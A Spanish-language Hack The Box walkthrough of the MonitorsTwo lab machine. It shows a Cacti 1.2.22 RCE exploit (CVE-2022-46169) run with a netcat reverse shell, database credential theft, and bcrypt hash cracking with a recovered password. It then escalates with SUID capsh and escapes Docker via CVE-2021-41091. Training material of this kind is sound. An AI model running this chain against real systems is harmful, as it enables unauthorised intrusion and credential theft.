Descripción

MonitorsTwo es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Ejecución remota de comandos
  • Exposición de datos sensibles
  • Crackeo de hashes
  • Docker mal configurado y escalada de privilegios SUID

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.211.

$ ping -c 3 10.10.11.211  
PING 10.10.11.211 (10.10.11.211) 56(84) bytes of data.
64 bytes from 10.10.11.211: icmp_seq=1 ttl=63 time=42.8 ms
64 bytes from 10.10.11.211: icmp_seq=2 ttl=63 time=44.7 ms
64 bytes from 10.10.11.211: icmp_seq=3 ttl=63 time=43.5 ms

--- 10.10.11.211 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 42.750/43.657/44.715/0.809 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.211 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.211
Host is up (0.043s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.27 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.211 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.211
Host is up (0.044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.38 seconds

Obtenemos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web. Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.

$ whatweb --log-brief web_techs 10.10.11.211          
http://10.10.11.211 [200 OK] Cacti, Cookies[Cacti], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[Cacti], IP[10.10.11.211], JQuery, PHP[7.4.33], PasswordField[login_password], Script[text/javascript], Title[Login to Cacti], UncommonHeaders[content-security-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/7.4.33], X-UA-Compatible[IE=Edge], nginx[1.18.0]

En el navegador web podemos ver que la aplicación web Cacti está funcionando, específicamente la versión 1.2.22, pidiendo credenciales.

Explotación

Cacti 1.2.22 es vulnerable a una vulnerabilidad de ejecución remota de comandos CVE-2022-46169. Podemos obtener el script de la vulnerabilidad en Exploit-DB, su ID es 51166.

$ searchsploit -m 51166    
  Exploit: Cacti v1.2.22 - Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/51166
     Path: /usr/share/exploitdb/exploits/php/webapps/51166.py
    Codes: CVE-2022-46169
 Verified: False
File Type: Python script, ASCII text executable
Copied to: ./51166.py

Este script necesita un parche, necesitamos cambiar la dirección IP especificada en el encabezado a la dirección IP localhost.

Parche a aplicar:
{local_cacti_ip} -> 127.0.0.1

Podemos hacerlo con el comando sed.

$ sed -i -e 's/{local_cacti_ip}/127.0.0.1/g' 51166.py

Luego abrimos el puerto de escucha para recibir la consola inversa.

$ nc -nvlp 1234

Finalmente, ejecutamos la explotación.

$ python 51166.py -u http://10.10.11.211/ -i 10.10.14.90 -p 1234
200 - [{"value":"174","rrd_name":"proc","local_data_id":"1"}]
200 - [{"value":"1min:3.14 5min:2.02 10min:1.41","rrd_name":"","local_data_id":"2"}]
200 - [{"value":"0","rrd_name":"users","local_data_id":"3"}]
200 - [{"value":"236616","rrd_name":"mem_buffers","local_data_id":"4"}]
200 - [{"value":"1048572","rrd_name":"mem_swap","local_data_id":"5"}]

Y obtenemos la consola como el usuario www-data, así que lo actualizamos.

$ nc -nvlp 1234         
listening on [any] 1234 ...
connect to [10.10.14.90] from (UNKNOWN) [10.10.11.211] 44300
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
bash-5.1$ stty rows 48 columns 156
bash-5.1$ export TERM=xterm
bash-5.1$ export SHELL=bash

Post-Explotación (1)

Después de la explotación, obtenemos los usuarios de consola.

bash-5.1$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash

Sólo tenemos al usuario root. Como no tenemos credenciales continuamos con más enumeración, podemos obtener las credenciales de la base de datos que está vinculada con Cacti, en el archivo config.php.

bash-5.1$ cat include/config.php 
...

/*
 * Make sure these values reflect your actual database/host/user/password
 */

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;

...

El nombre de host de la base de datos es db, el nombre de usuario root, la contraseña root y el puerto 3306. Así que conectamos con mysql y enumeramos alguna información sobre el sistema.

bash-5.1$ mysql -h db -u root -p
Enter password: 

...

Server version: 5.7.40 MySQL Community Server (GPL)

...

MySQL [(none)]> status;
--------------
mysql  Ver 15.1 Distrib 10.5.15-MariaDB, for debian-linux-gnu (x86_64) using  EditLine wrapper

Connection id:          2511
Current database:
Current user:           root@172.19.0.3
SSL:                    Not in use
Current pager:          stdout
Using outfile:          ''
Using delimiter:        ;
Server:                 MySQL
Server version:         5.7.40 MySQL Community Server (GPL)
Protocol version:       10
Connection:             db via TCP/IP
Server characterset:    latin1
Db     characterset:    latin1
Client characterset:    latin1
Conn.  characterset:    latin1
TCP port:               3306
Uptime:                 5 min 31 sec

Threads: 12  Questions: 180056  Slow queries: 0  Opens: 284  Flush tables: 1  Open tables: 277  Queries per second avg: 543.975

Observamos una rango diferente de direcciones IP, 172.19.0.3. Esto podría ser que estamos dentro de un contenedor Docker. Luego obtenemos las credenciales (hasheadas) de los usuarios del servicio Cacti.

MySQL [(none)]> use cacti;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [cacti]> select username,password from user_auth;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| guest    | 43e9a4ab75570f5b                                             |
| marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)

Necesitamos romperlas por lo que podemos usar John the Ripper.

$ john hashes --wordlist=/usr/share/wordlists/rockyou.txt
Warning: only loading hashes of type "bcrypt", but also saw type "mysql"
Use the "--format=mysql" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey      (marcus)

Conseguimos la contraseña para el usuario marcus, funkymonkey. Si tratamos de iniciar sesión en Cacti, no podremos hacerlo ya que no tenemos los permisos. Con el comando mount confirmamos que estamos dentro de un contenedor Docker.

bash-5.1$ mount | grep docker
overlay on /var/lib/docker/overlay2/...

Como somos el usuario www-data vamos a tratar de elevar nuestros privilegios en busca de binarios SUID. Encontramos uno, capsh.

bash-5.1$ ls -la /sbin/capsh 
-rwsr-xr-x 1 root root 30872 Oct 14  2020 /sbin/capsh

En GTFOBins podemos ver que podemos obtener una consola usando el binario capsh. Obtenemos permisos root dentro del contenedor.

bash-5.1$ capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/www/html# whoami
root

Ahora vamos a probar si podemos iniciar sesión como el usuario marcus usando el servicio SSH.

$ ssh marcus@10.10.11.211         
...

  System load:                      0.17
  Usage of /:                       64.1% of 6.73GB
  Memory usage:                     29%
  Swap usage:                       0%
  Processes:                        294
  Users logged in:                  1
  IPv4 address for br-60ea49c21773: 172.18.0.1
  IPv4 address for br-7c3b7c0d00b3: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.211
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:5ef4


...

You have mail.

marcus@monitorstwo:~$

Post-Explotación (2)

Hemos iniciado sesión como el usuario marcus y ahora tenemos acceso a la máquina anfitriona que alberga el contenedor Docker. Conseguimos dos usuarios de consola, marcus y root.

marcus@monitorstwo:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
marcus:x:1000:1000:,,,:/home/marcus:/bin/bash

En el mensaje MOTD observamos que tenemos un email, así que vamos a leerlo.

marcus@monitorstwo:~$ cat /var/mail/marcus 
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team

Leemos que el administrador del servidor encontró tres vulnerabilidades. Comprobamos si la vulnerabilidad CVE-2021-41091 ha sido parcheada actualizando el software Docker.

marcus@monitorstwo:~$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88

Como la vulnerabilidad se parcheó en la versión 20.10.9, la máquina es vulnerable. Podemos ver más detalles sobre la vulnerabilidad en el sitio web de CyberArk. En resumen, los usuarios no Docker pueden acceder a los sistemas de archivos de los contenedores. La estrategia aquí es utilizar el contenedor al que tenemos acceso para crear un binario Bash SUID y luego ejecutarlo en la máquina anfitrión. En primer lugar vamos a identificar el directorio contenedor con el comando findmnt y nos movemos a el.

marcus@monitorstwo:~$ findmnt
TARGET                                SOURCE      FSTYPE      OPTIONS
/                                     /dev/sda2   ext4        rw,relatime
├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
│                                     overlay     overlay     rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI5TXU76FU:/var/lib/docker/ove
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
│                                     overlay     overlay     rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GXAJOAA4SJ:/var/lib/docker/ove

marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

Luego nos movemos a la consola dentro del contenedor y creamos un directorio temporal con los permisos apropiados y luego copiamos el binario Bash y cambiamos el bit de permiso SUID.

root@50bca5e748b0:/tmp# mktemp -d
/tmp/tmp.9ErDwMvuq6
root@50bca5e748b0:/tmp# chmod 777 /tmp/tmp.9ErDwMvuq6
root@50bca5e748b0:/tmp# cd /tmp/tmp.9ErDwMvuq6
root@50bca5e748b0:/tmp/tmp.9ErDwMvuq6# cp /bin/bash .
root@50bca5e748b0:/tmp/tmp.9ErDwMvuq6# chmod u+s bash

Finalmente en la máquina anfitriona podemos entrar en el directorio temporal y ejecutar el binario Bash privilegiado.

marcus@monitorstwo:/var/lib/docker/overlay2/c41...2f1/merged$ cd tmp/tmp.9ErDwMvuq6
marcus@monitorstwo:/var/lib/docker/overlay2/c41...2f1/merged/tmp/tmp.9ErDwMvuq6$ ./bash -p
bash-5.1# whoami
root

Obtenemos una consola con permisos de superadministrador.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

bash-5.1# cat /home/marcus/user.txt
<REDACTED>
bash-5.1# cat /root/root.txt
<REDACTED>